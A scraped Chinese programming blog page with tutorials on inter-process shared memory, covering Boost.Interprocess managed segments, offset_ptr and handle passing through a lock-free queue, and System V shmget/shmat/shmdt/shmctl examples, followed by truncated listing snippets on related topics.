    namespace bip = boost::interprocess;

    共享内存池的创建:

    static char *shareMemoryBlockName = "MySharedMemory";
    static int32_t sharedMemoryBlockTotalSize = 65536;  
    
    //创建共享内存
    bip::managed_shared_memory segment(bip::create_only,
    	shareMemoryBlockName,  //segment name
    	sharedMemoryBlockTotalSize);
    

    共享内存的附接:

    //首先attach共享内存
    //首先需要attach到share memory block
    bip::managed_shared_memory segment(bip::open_only,
    	shareMemoryBlockName  //segment name
    	);

    对应的,共享内存池名称,将共享内存池删除:

    //同时销毁共享内存
    bool isRemoved = bip::shared_memory_object::remove(shareMemoryBlockName);
    if (isRemoved)
    {
    	cout << "Share Memory=[" << shareMemoryBlockName << "] removed!" << endl;
    }
    else
    {
    	cout << "Share Memory=[" << shareMemoryBlockName << "] not removed!" << endl;
    }
    

    【注】:使用时需确保segemnt对象整个生命周期的完整性,不能在segement已经析构后,还使用由该共享内存池创建的对象。

    二、共享内存对象的创建及销毁

    在共享内存池创建好之后,则可以基于共享内存池创建对象。在共享内存池上可创建有名/无名对象:

    1. 有名对象的创建、附接、删除

    有名对象的创建时,需要给该对象分配指定的对象名称

    //bip::managed_shared_memory segment
    
    //有名对象的创建
    MyType *instance = segment.construct<MyType>  
             ("MyType instance")  //name of the object  
             (0.0, 0);            //ctor first argument 

    创建有名共享内存对象的好处是,其他进程可以通过该对象名称,基于同一个共享内存池,方便的定位到该对象。对应的需要附接到该共享内存对象,则只需通过共享内存池找到指定命名对象:

    //bip::managed_shared_memory segment
    
    //有名对象的附接
    typedef std::pair<MyType *, bip::managed_shared_memory::size_type> ResultT;
    ResultT res = segment.find<MyType>("MyType instance");
    if (!res.second)
    {
    	cout << "could not find MyType instance" << endl;
    }

    有名对象的删除,则通过调用destroy接口完成删除动作:

    //bip::managed_shared_memory segment
    
    //有名对象的删除
    segment.destroy<MyType>("MyType instance");

    2. 匿名对象的创建、使用及销毁

    2.1 基于偏移指针的共享数据使用

    大多数时候,我们其实不打算使用有名对象,而是使用无名对象,此时,我们需要使用共享内存池提供的匿名对象执行共享内存对象的创建:

    //bip::managed_shared_memory segment
    
    //匿名对象的创建
    MyType *ptr = segment.construct<MyType>(bip::anonymous_instance) (par1, par2...);  

    由于匿名对象无法通过名称指定定位,因此,当我们将一个匿名对象由进程A写入共享内存时,进程B没法直接拿到共享内存,进而使用。Boost::interprocess提供了方法来使得进程B能够获取匿名对象的内容。具体做法是:使用boost::interprocess::offset_ptr。我们在共享内存中创建匿名共享内存对象,通过offset_ptr指向共享内存对象。将offset_ptr由进程A发送到进程B,进程B再通过offset_ptr将实际内容读出来。由于offset_ptr指向的对象是存放在共享内存中,因此,对应的对象应当具备从共享内存中分配内存空间的能力,也就是说该对象的内存分配器应道指向对应共享内存的内存分配器。

    #include <boost/interprocess/managed_shared_memory.hpp>
    #include <boost/interprocess/allocators/allocator.hpp>
    #include <boost/interprocess/containers/string.hpp>
    
    namespace bip = boost::interprocess;   //给ipc设置别名
    
    //首先定义共享内存分配器类型
    typedef bip::allocator<char, bip::managed_shared_memory::segment_manager> CharAllocator;
    typedef bip::basic_string<char, std::char_traits<char>, CharAllocator> shared_string;
    
    struct IPCData
    {
    	shared_string name;
    	int       id;
    	boost::atomic<int> atomicShrMmOrderRefCnt;
    
    	IPCData(const shared_string::allocator_type& al):name(al),atomicShrMmOrderRefCnt(1)
    	{
    		id = 0;
    	}
    
    };
    
    //定义数据的OffsetPtr
    typedef bip::offset_ptr<IPCData> IPCDataOffsetPtrT;
    
    //定义该offsetPtr的内存分配器
    typedef bip::allocator<IPCDataOffsetPtrT, bip::managed_shared_memory::segment_manager>IPCDataOffsetPtrAllocatorT;
    

    定义好对应的偏移地址指针后,就可以通过创建匿名共享内存对象的方式,将共享内存对象托管给偏移地址指针:

    //bip::managed_shared_memory segment
    
    //创建匿名共享内存offset_ptr指针
    IPCDataOffsetPtrT ipcDataOffsetPtr =
    	segment.construct<IPCData>(bip::anonymous_instance)
    		(shared_string::allocator_type(segment.get_segment_manager()));

    此后,定义相应的共享内存通道,让进程A将offset_ptr放入通道。

    #include <boost/interprocess/containers/list.hpp>
    
    namespace bip = boost::interprocess;   //给ipc设置别名
    
    //定义基于该offsetPtr以及对应的内存分配器的queue
    typedef bip::list<IPCDataOffsetPtrT, IPCDataOffsetPtrAllocatorT> IPCDataOffsetPtrQueueT;
    //bip::managed_shared_memory segment
    //ipcDataOffsetPtr 
    
    //找到对应的allocator
    const IPCDataOffsetPtrAllocatorT alloc_inst(segment.get_segment_manager());
    
    IPCDataOffsetPtrQueueT *pIPCDataOffsetPtrQueue;
    pIPCDataOffsetPtrQueue =
    	segment.construct<IPCDataOffsetPtrQueueT>
    		(channelName.c_str())(alloc_inst);
    
    
    pIPCDataOffsetPtrQueue->push_back(ipcDataOffsetPtr );

    并由进程B从通道中读取数据:

    //bip::managed_shared_memory segment
    //ipcDataOffsetPtr 
    
    ipcDataOffsetPtr = pIPCDataOffsetPtrQueue->front();
    IPCDataOffsetPtrQueue->pop_front();
    
    cout <<ipcDataOffsetPtr->name << endl;
    
    //此后ipcData需要通过destroy_ptr进行内存释放
    segment.destroy_ptr(ipcDataOffsetPtr->get());

    使用完的匿名共享内存对象,则通过共享内存池的destroy_ptr完成内存释放。

    2.2 基于内存句柄的共享数据使用

    上述匿名对象的使用需要通过offset_ptr作为跨越进程的桥梁,在两个进程间传输offset_ptr,之后再通过offset_ptr间接的获取到对应的共享内存对象。该方法能够达到数据共享的目的,但有两点不足:1). 该方法似乎有点绕,不够直观; 2). 改方法由于传递的是偏移指针,该指针并非朴素类型(POD),无法使用boost的无所队列进行传递。是否有更简单的方法,使得我们可以有更加方便的方式在进程间共享数据呢?答案是:可以通过boost::interprocess::managed_shared_memory::handle。通过handle,我们可以方便的还原出该handle对应对象的指针,同时,通过指针我们也能够方便的或者改指针对应的handle。重要的是,而实际上,handle就是朴素类型的int, 我们能够方便的将其通过无锁队列的Queue由一个进程推送到另外一个进程,进而达到在进程间高效共享数据的目的。下面我们来看看基于handle+lockfree::queue来完成进程间数据传输。

    (1). 简单定义我们需要在进程间共享的数据结构

    #ifndef __IPC_HANDLE_DATA_H__
    #define __IPC_HANDLE_DATA_H__
    
    #include <boost/interprocess/managed_shared_memory.hpp>
    #include <boost/interprocess/allocators/allocator.hpp>
    #include <boost/interprocess/containers/string.hpp>
    
    namespace bip = boost::interprocess;   //给ipc设置别名
    
    //首先定义共享内存分配器类型
    typedef bip::allocator<char, bip::managed_shared_memory::segment_manager> CharAllocator;
    typedef bip::basic_string<char, std::char_traits<char>, CharAllocator> shared_string;
    
    
    //用于IPCHandle传输
    class IPCHandleData {
    public:
    	IPCHandleData(const shared_string::allocator_type& al);
    	~IPCHandleData();
    
    	int id;
    	__int64 id64;
    	shared_string name;
    
    };
    #endif

    该数据类型包含3个字段:id、id64和name

    (2). 定义我们需要用到的共享内存句柄类型,以及共享内存中定义无锁队列queue需要的分配类型

    //定义共享内存handle类型
    typedef bip::managed_shared_memory::handle_t IPCHandleT;
    
    //定义该handle的共享内存分配器
    typedef bip::allocator<IPCHandleT, 
    			bip::managed_shared_memory::segment_manager> 
    								MyIPCHandleAllocatorT;
    
    //定义基于该IPCHandle以及对应的内存分配器的Queue
    typedef boost::lockfree::queue<IPCHandleT, 
    			boost::lockfree::capacity<65534>,  //最多时2^16-2
    			boost::lockfree::allocator<MyIPCHandleAllocatorT>> 
    								IPCHandleMwMrQueueT;

    (3). 由一个创建者(Creator)负责创建共享内存,并创建用于传输的无锁队列

    void Creator()
    {
    	cout << "Creator" << endl;
    
    	// 删除遗留的共享内存
    	bip::shared_memory_object::remove("MySharedMemory");
    
    	// 构建新的托管共享内存区
    	bip::managed_shared_memory segment(bip::create_only,
    		"MySharedMemory",  //segment name
    		65536 * 1024 * 10);
    
    	// 定义托管共享内存区的分配器
    	const MyIPCHandleAllocatorT alloc_inst(segment.get_segment_manager());
    
    	try
    	{
    	
    	// 创建共享内存中的用于传递IPCHandleT的无锁队列
    	IPCHandleMwMrQueueT *pMyIPCHandleQueue =
    		segment.construct<IPCHandleMwMrQueueT>("MyIPCHandleQueue")(alloc_inst);
    	}
    	catch (exception &e)
    	{
    		cout << e.what() << endl;
    	}
    
    	cout << "Creator is waiting here..." << endl;
    	system("pause");
    
    	
    }

    (4). 生产者一方首先附接到共享内存

    进一步找到对应的无锁队列。基于共享内存,创建待传输的共享内存对象,并找到该共享内存对象的句柄handle,将该句柄handle放入到无锁队列中,完成传输动作

    void Producer()
    {
    	cout << "Producer" << endl;
    
    	//附接目标共享内存
    	bip::managed_shared_memory segment(bip::open_only,
    				"MySharedMemory");  //segment name
    											
    	typedef std::pair<IPCHandleMwMrQueueT *, 
    			bip::managed_shared_memory::size_type> ResultT;
    	ResultT res = segment.find<IPCHandleMwMrQueueT>("MyIPCHandleQueue");
    
    	cout << "res.second=" << res.second << endl;
    	if (!res.second)
    	{
    		cout << "could not find \"MyIPCHandleQueue\"" << endl;
    		return;
    	}
    	else
    	{
    		cout << "find \"MyIPCHandleQueue\"" << endl;
    	}
    
    	IPCHandleMwMrQueueT *pMyIPCHandleQueue = res.first;
    
    	int id = 1;
    	
    	//创建匿名共享内存对象,销毁时需要用destroy_ptr
    	IPCHandleData *pIPCHandleData =
     		segment.construct<IPCHandleData>
    			(bip::anonymous_instance)
    				(shared_string::allocator_type(segment.get_segment_manager()));
    	pIPCHandleData->id = id;
    	pIPCHandleData->id64 = id;
    
    	stringstream ss;
    	ss << "name-" << id;
    	pIPCHandleData->name = ss.str().c_str();
    
    	cout << "cur IPCHandleData :" << endl;
    	cout << "id=" << pIPCHandleData->id << endl;
    	cout << "id64=" << pIPCHandleData->id64 << endl;
    	cout << "name=" << pIPCHandleData->name << endl;
    
    	//获取共享内存对应的handle
    	IPCHandleT curHandle = segment.get_handle_from_address(pIPCHandleData);
    	cout << "handle=" << (int)(curHandle) << endl;
    
    	//将该handle放入queue中,传递给对端
    	pMyIPCHandleQueue->push(curHandle);
    
    }

    (5). 消费者,同样附接到共享内存

    并找到对应的Queue,从Queue中pop出handle数据,基于该handle,找到对应的共享内存指针,进而获取共享内存对象的信息

    void Consumer()
    {
    	cout << "Consumer" << endl;
    
    	//附接目标共享内存
    	bip::managed_shared_memory segment(bip::open_only,
    		"MySharedMemory");  //segment name
    		
    	typedef std::pair<IPCHandleMwMrQueueT *, 
    				bip::managed_shared_memory::size_type> ResultT;
    	ResultT res = segment.find<IPCHandleMwMrQueueT>("MyIPCHandleQueue");
    
    	cout << "res.second=" << res.second << endl;
    	if (!res.second)
    	{
    		cout << "could not find \"MyIPCHandleQueue\"" << endl;
    		return;
    	}
    	else
    	{
    		cout << "find \"MyIPCHandleQueue\"" << endl;
    	}
    
    	IPCHandleMwMrQueueT *pMyIPCHandleQueue = res.first;
    
    	IPCHandleT recvHandle;
    	if (pMyIPCHandleQueue->pop(recvHandle))
    	{
    		cout << "Recv data" << endl;
    
    		//接收到消息后,通过handle找到对应的共享内存对象
    		IPCHandleData *pIPCHandleData = 
    			(IPCHandleData *)segment.get_address_from_handle(recvHandle);
    
    		//输出共享内存对象信息
    		cout << "recved IPCHandleData :" << endl;
    		cout << "id=" << pIPCHandleData->id << endl;
    		cout << "id64=" << pIPCHandleData->id64 << endl;
    		cout << "name=" << pIPCHandleData->name << endl;
    
    		//最终释放该共享内存对象
    		segment.destroy_ptr(pIPCHandleData);
    	}
    }
    展开全文
  • liunx ipc 共享内存

    2020-08-28 19:32:34
    共享内存是liunx平台的一种IPC机制,不同进程可以对同一块内存进行读写,由于所有进程对共享内存的访问就和访问自己的内存空间一样,而 不需要进行额外系统调用或内核操作,同时还避免了多余的内存拷贝,所以,这种...

    介绍

      共享内存是liunx平台的一种IPC机制,不同进程可以对同一块内存进行读写,由于所有进程对共享内存的访问就和访问自己的内存空间一样,而
    不需要进行额外系统调用或内核操作,同时还避免了多余的内存拷贝,所以,这种方式是效率最高、速度最快的进程间通信方式。共享内存和
    android中binder的通信机制相比,避免了一次copy操作。一般对于共享内存的操作为了避免进程之间的紊乱,会配合使用类似信号量等别的机制
    加以访问限制访问顺序。
    

    基本原理

     我们知道共享内存的申请最后都会转换到真正的物理内存,而这个对应关系如下,简单的理解就是进程A申请一块物理内存,然后将其映射到这块物理内存上,然后进程B也将自己映射到这块物理内存上,然后他们对这块内存的操作就完成了跨进程操作。
    

    在这里插入图片描述

    函数

    函数定义如下:
    
    #include <sys/types.h>
    
    #include <sys/ipc.h>
    
    #include <sys/shm.h>
    
    key_t ftok(const char *pathname, int proj_id);
    
    函数ftok用于创建一个关键字,可以用该关键字关联一个共享内存段。
    
    参数pathname为一个全路径文件名,并且该文件必须可访问。
    
    参数proj_id通常传入一非0字符
    
    通过pathname和proj_id组合可以创建唯一的key
    
    如果调用成功,返回一关键字,否则返回-1
    
     
    
    int shmget(key_t key, int size, int shmflg);
    
    函数shmget用于创建或打开一共享内存段,该内存段由函数的第一个参数唯一创建。函数成功,则返回一个唯一的共享内存标识号(相当于进程号,唯一的标识着共享内存),失败返回-1。
    
    参数key是一个与共享内存段相关联关键字,如果事先已经存在一个与指定关键字关联的共享内存段,则直接返回该内存段的标识,表示打开,如果不存在,则创建一个新的共享内存段。key的值既可以用ftok函数产生,也可以是IPC_RPIVATE(用于创建一个只属于创建进程的共享内存,主要用于父子通信),表示总是创建新的共享内存段;
    
    参数size指定共享内存段的大小,以字节为单位;
    
    参数shmflg是一掩码合成值,可以是访问权限值与(IPC_CREAT或IPC_EXCL)的合成。IPC_CREAT表示如果不存在该内存段,则创建它。IPC_EXCL表示如果该内存段存在,则函数返回失败结果(-1)。如果调用成功,返回内存段标识,否则返回-1
    
     
    
    void *shmat(int shmid, const void *shmaddr, int shmflg);
    
    函数shmat将共享内存段映射到进程空间的某一地址。
    
    参数shmid是共享内存段的标识  通常应该是shmget的成功返回值
    
    参数shmaddr指定的是共享内存连接到当前进程中的地址位置。通常是NULL,表示让系统来选择共享内存出现的地址。
    
    参数shmflg是一组位标识,通常为0即可。
    
    如果调用成功,返回映射后的进程空间的首地址,否则返回(char *)-1int shmdt(const void *shmaddr);
    
    函数shmdt用于将共享内存段与进程空间分离。
    
    参数shmaddr通常为shmat的成功返回值。
    
    函数成功返回0,失败时返回-1.注意,将共享内存分离并没删除它,只是使得该共享内存对当前进程不在可用。
    
     
    
    int shmctl(int shmid, int cmd, struct shmid_ds *buf);
    
    函数shmctl是共享内存的控制函数,可以用来删除共享内存段。
    
    参数shmid是共享内存段标识 通常应该是shmget的成功返回值
    
    参数cmd是对共享内存段的操作方式,可选为IPC_STAT,IPC_SET,IPC_RMID。通常为IPC_RMID,表示删除共享内存段。
    
    参数buf是表示共享内存段的信息结构体数据,通常为NULL。
    
    例如shmctl(kshareMem,IPC_RMID,NULL)表示删除调共享内存段kHareMem
    

    范例

    share_a.cpp

    #include<stdio.h>
    #include<stdlib.h>
    #include<string.h>
    #include<unistd.h>
    #include<sys/types.h>
    #include<sys/ipc.h>
    #include<sys/shm.h>
    
    int main(int *argc, char *argv[])
    {
        key_t my_key;
        int my_shm;
        char *pstr;
    
        //1,创建一个关键字,使其关联一个共享内存段,返回关键字
        my_key = ftok("./temp.c",123);
    
        //2,创建或打开一个共享内存段,返回共享内存段标志号
        my_shm = shmget(my_key,1024,0666 | IPC_CREAT);
        if(my_shm == -1)
        {
            printf("shmget error!\n");
            exit(1);
        }
    
        //3,将共享内存段映射到进程空间的某一地址,返回映进程射空间的首地址
        pstr =  (char*)shmat(my_shm,NULL,0);
    
        strcpy(pstr,"Hello world!\n");
        sleep(5);
        printf("recv from 2:%s\n",pstr);
    
        //4,将共享内存段与进程空间分离
        shmdt(pstr);
    
        //5,删除共享内存段
        shmctl(my_shm,IPC_RMID,NULL);
    
        return 0;
    }
    

    share_b.cpp

    #include<stdio.h>
    #include<stdlib.h>
    #include<string.h>
    #include<unistd.h>
    #include<sys/types.h>
    #include<sys/ipc.h>
    #include<sys/shm.h>
    
    int main(int *argc, char *argv[])
    {
        key_t my_key;
        int my_shm;
        char *pstr;
    
        //1,创建关键字
        my_key = ftok("./temp.c",123);
    
        //2,创建或打开共享内存段
        my_shm = shmget(my_key,1024,0666);
        if(my_shm == -1)
        {
            printf("Shmget error!\n");
            exit(1);
        }
    
        //3,将共享内存段映射到某一进程空间
        pstr = (char*)shmat(my_shm,NULL,0);
        printf("recv from 1:%s\n",pstr);
        strcpy(pstr,"How are you!\n");
    
        //4将共享内存段与进程空间分离
        shmdt(pstr);
    
        return 0;
    }
    

    执行结果

    在这里插入图片描述

    结合上面代码可以看到,A进程申请了一块字节为1024的共享内存,先写入“Hello world” ,然后B进程获取这个共享内存读取内存数据输出“Hello world”, 随后写入 "How are you!”,A再读取共享内存的内容"How are you!”输出。

    我们可以通过ipcs -m查看,在未执行申请共享内存的时候没有大小为1024的共享内存,再申请之后,就出现了。

    参考:https://www.cnblogs.com/cpsmile/p/4434926.html

    展开全文
  • 进程间需要共享的数据被放在一个叫做IPC共享内存区域的地方,所有需要访问该共享区域的进程都要把该共享区域映射到本进程的地址空间中去。系统V共享内存通过shmget获得或创建一个IPC共享内存区域,并返回相应的...

    一、什么是共享内存

    进程间需要共享的数据被放在一个叫做IPC共享内存区域的地方,所有需要访问该共享区域的进程都要把该共享区域映射到本进程的地址空间中去。系统V共享内存通过shmget获得或创建一个IPC共享内存区域,并返回相应的标识符。内核在保证shmget获得或创建一个共享内存区,初始化该共享内存区相应的shmid_kernel结构注同时,还将在特殊文件系统shm中,创建并打开一个同名文件,并在内存中建立起该文件的相应dentry及inode结构,新打开的文件不属于任何一个进程(任何进程都可以访问该共享内存区)。所有这一切都是系统调用shmget完成的。

    注:每一个共享内存区都有一个控制结构struct shmid_kernel,shmid_kernel是共享内存区域中非常重要的一个数据结构,它是存储管理和文件系统结合起来的桥梁,定义如下:

    struct shmid_kernel /* private to the kernel */
    {	
    	struct kern_ipc_perm	shm_perm;
    	struct file *		shm_file;
    	int			id;
    	unsigned long		shm_nattch;
    	unsigned long		shm_segsz;
    	time_t			shm_atim;
    	time_t			shm_dtim;
    	time_t			shm_ctim;
    	pid_t			shm_cprid;
    	pid_t			shm_lprid;
    };

    该结构中最重要的一个域应该是shm_file,它存储了将被映射文件的地址。每个共享内存区对象都对应特殊文件系统shm中的一个文件,一般情况下,特殊文件系统shm中的文件是不能用read()、write()等方法访问的,当采取共享内存的方式把其中的文件映射到进程地址空间后,可直接采用访问内存的方式对其访问。

    这里我们采用[1]中的图表给出与系统V共享内存相关数据结构:

    正如消息队列和信号灯一样,内核通过数据结构struct ipc_ids shm_ids维护系统中的所有共享内存区域。上图中的shm_ids.entries变量指向一个ipc_id结构数组,而每个ipc_id结构数组中有个指向kern_ipc_perm结构的指针。到这里读者应该很熟悉了,对于系统V共享内存区来说,kern_ipc_perm的宿主是shmid_kernel结构,shmid_kernel是用来描述一个共享内存区域的,这样内核就能够控制系统中所有的共享区域。同时,在shmid_kernel结构的file类型指针shm_file指向文件系统shm中相应的文件,这样,共享内存区域就与shm文件系统中的文件对应起来。

    在创建了一个共享内存区域后,还要将它映射到进程地址空间,系统调用shmat()完成此项功能。由于在调用shmget()时,已经创建了文件系统shm中的一个同名文件与共享内存区域相对应,因此,调用shmat()的过程相当于映射文件系统shm中的同名文件过程。


    二、IPC 共享内存机制

    1、shmget()函数

    它的作用主要是创建一个新的共享内存,原型为:


    2、shmctl()函数

    它的作用主要是删除一个共享内存,原型为:


    3、shmat()函数

    它的作用主要是将共享内存映射到一个进程中,原型为:


    4、shmdt()函数

    它的作用主要是将进程从共享内存解除映射,原型为:


    shmget()用来获得共享内存区域的ID,如果不存在指定的共享区域就创建相应的区域。shmat()把共享内存区域映射到调用进程的地址空间中去,这样,进程就可以方便地对共享区域进行访问操作。shmdt()调用用来解除进程对共享内存区域的映射。shmctl实现对共享内存区域的控制操作。这里我们不对这些系统调用作具体的介绍,读者可参考相应的手册页面,后面的范例中将给出它们的调用方法。

    注:shmget的内部实现包含了许多重要的系统V共享内存机制;shmat在把共享内存区域映射到进程空间时,并不真正改变进程的页表。当进程第一次访问内存映射区域访问时,会因为没有物理页表的分配而导致一个缺页异常,然后内核再根据相应的存储管理机制为共享内存映射区域分配相应的页表。

    三、进程使用共享内存通信

    接下来用一个例子来描述进程间通过共享内存来实现通信。创建两个不相关的进程,服务器进程和客户端进程,服务器进程负责创建和销毁共享内存,客户端进程只负责读取该共享内存。在进行通信之前需要将共享内存进行映射。

    查看共享内存

    ipcs -m

    删除共享内存

    ipcrm -m shm_id(贡献内存的id)

    程序代码

    comm.h


    comm.c



    server.c


    client.c


    Makefile


    查看共享内存效果图


    结论:

    共享内存允许两个或多个进程共享一给定的存储区,因为数据不需要来回复制,所以是最快的一种进程间通信机制。

    展开全文
  • Linux进程间通信——IPC共享内存学习笔记
  • linux IPC共享内存

    2017-12-20 10:53:00
    共享内存相关函数 获得一个共享存储标识符 #include <sys/ipc.h> #include <...int shmget(key_t key, size_t ...key:函数ftok返回值或IPC_PRIVATE(适合用在有亲缘关系的进程中)size: 共享存储段的长...
  • IPC共享内存 shm

    2016-11-23 14:36:16
    共享内存是最快的IPC 检查共享内存:ipcs m | grep "name" 删除共享内存:ipcrm m "共享内存ID号" ========================== 测试一: 启动两个程序,创建打开同一块共享内存, 查看一下共享内存...
  • IPC 共享内存

    2015-06-09 22:02:00
    共享内存解释:linux中进程对任何非进程地址空间的访问都是违法的,所以进程1和进程2是不能直接访问共享内存区域的,共享内存在进程1和进程2的地址空间中都会映射一段同样大小的内存区域,所有挂载在该共享内存上的...
  • 进程-IPC 共享内存和消息队列 (三)

    千次阅读 2014-11-25 16:40:24
    进程-IPC 共享内存和消息队列 (三)
  • linux IPC 共享内存

    2018-12-10 11:07:20
    共享内存更像是客户端从服务端申请内存(这里的服务端是内核,客户端是用户进程或线程),这块内存通过特殊标识来进行区分,通过内核的api,给定内存的特殊标识,内核返回给进程所需的内存。则可以通过对其对写实现...
  • Linux IPC 共享内存

    2015-07-08 09:25:00
    共享内存时IPC形式中最快的一种。 POSIX 共享内存 posix.1提供了两种在无亲缘关系的进程间共享内存的方式 (1)内存映射文件:由open函数打开一个文件,由mmap函数把得到的描述符映射到当前进程地址空间中。 ...
  • 共享内存和文件映射的区别 1. 文件映射的页框是磁盘文件高速缓存中的页框,内核线程pdflush会将页框...而IPC共享内存映射的是一种特殊文件系统中的文件高速缓存,它没有相应的磁盘映像。 2. IPC共享内存只存
  • 关闭IPC共享服务时,系统产生提示: 发生系统错误5。 拒绝访问。 截图如下: 图 0 解决方案: 注:以下操作使用Windows XP完成。 首先,运行net share命令是需要使用管理员权限的,因此,第一步就是...
  • IPC$(Internet Process Connection)是共享"命名管道"的资源,它是为了让进程间通信而开放的命名管道,通过提供可信任的用户名和口令,连接双方可以建立安全的通道并以此通道进行加密数据的交换,从而实现对远程...
  • [Linux] IPC共享内存

    2019-06-10 11:45:45
    一、共享内存原理 二、共享内存生命周期 共享内存的生命周期是随内核的。 匿名管道、命名管道、消息队列、信号量、共享内存这五种进程间通信方式。两种管道的生命周期是随进程,剩下的都是随内核的。 三、共享内存...
  • SystemV IPC 共享内存

    2019-01-04 10:35:27
    由于每个进程地址空间不同,共享内存里的指针应该保存相对地址。 示例: #define MY_SHM_KEY 0xxxx #define MY_SHM_SIZE sizeof(XXXX) int shmId = 0; char *shmAdr; shmId = shmget(MY_SHM_KEY, MY_SHM_...
  • 介绍下XP中的IPC共享

    2008-04-03 11:01:30
    转自: [url]... 介绍下XP中的IPC共享 2007年10月17日 星期三 17:26 网上关于ipc$***的文章可谓多如牛毛,而且也不乏优秀之作,***步骤甚至可以说已经成为经典的模...
  • 共享内存允许两个或者多个进程共享一个给定的存储区,是最快的一种IPC。 获取共享内存标识符 #include &lt;sys/shm.h&gt; int shmget(key_t,size_t size, int flag) //参数一 键 可通过 key_t ftok...
  • Linux IPC 共享内存基本用法

    千次阅读 2016-05-08 23:55:30
    Linux IPC 常见的方式写 Linux Server 端程序,必然会涉及到进程间通信 IPC. 通信必然伴随着同步机制,下面是一些常见的通信与同步机制: 进程间通信:匿名管道,命名管道,消息队列,共享内存,Domain Socket, 本机...
  • 如何关闭 IPC共享

    万次阅读 2012-01-05 08:50:54
    共享 经过个人的经历,以下几种种方法可以参考一下。 1、这种办法是在 CMD(命令提示符)中进行关闭,如下: net share ipc$ /del  net share admin$ /del  net share c$ /del  …………(有...
  • System V IPC共享内存

    千次阅读 2012-11-10 17:31:52
    struct ipc_namespace   新建IPC对象:shmget() 1.如果找不到相同键值对应的IPC资源,并且要求新建IPC对象 2.Shmget()中第一个参数,键值key == IPC_PRIVATE都会新建一个IPC对象 新建IPC对象的...

空空如也

空空如也

1 2 3 4 5 ... 20
收藏数 8,024
精华内容 3,209
关键字:

ipc共享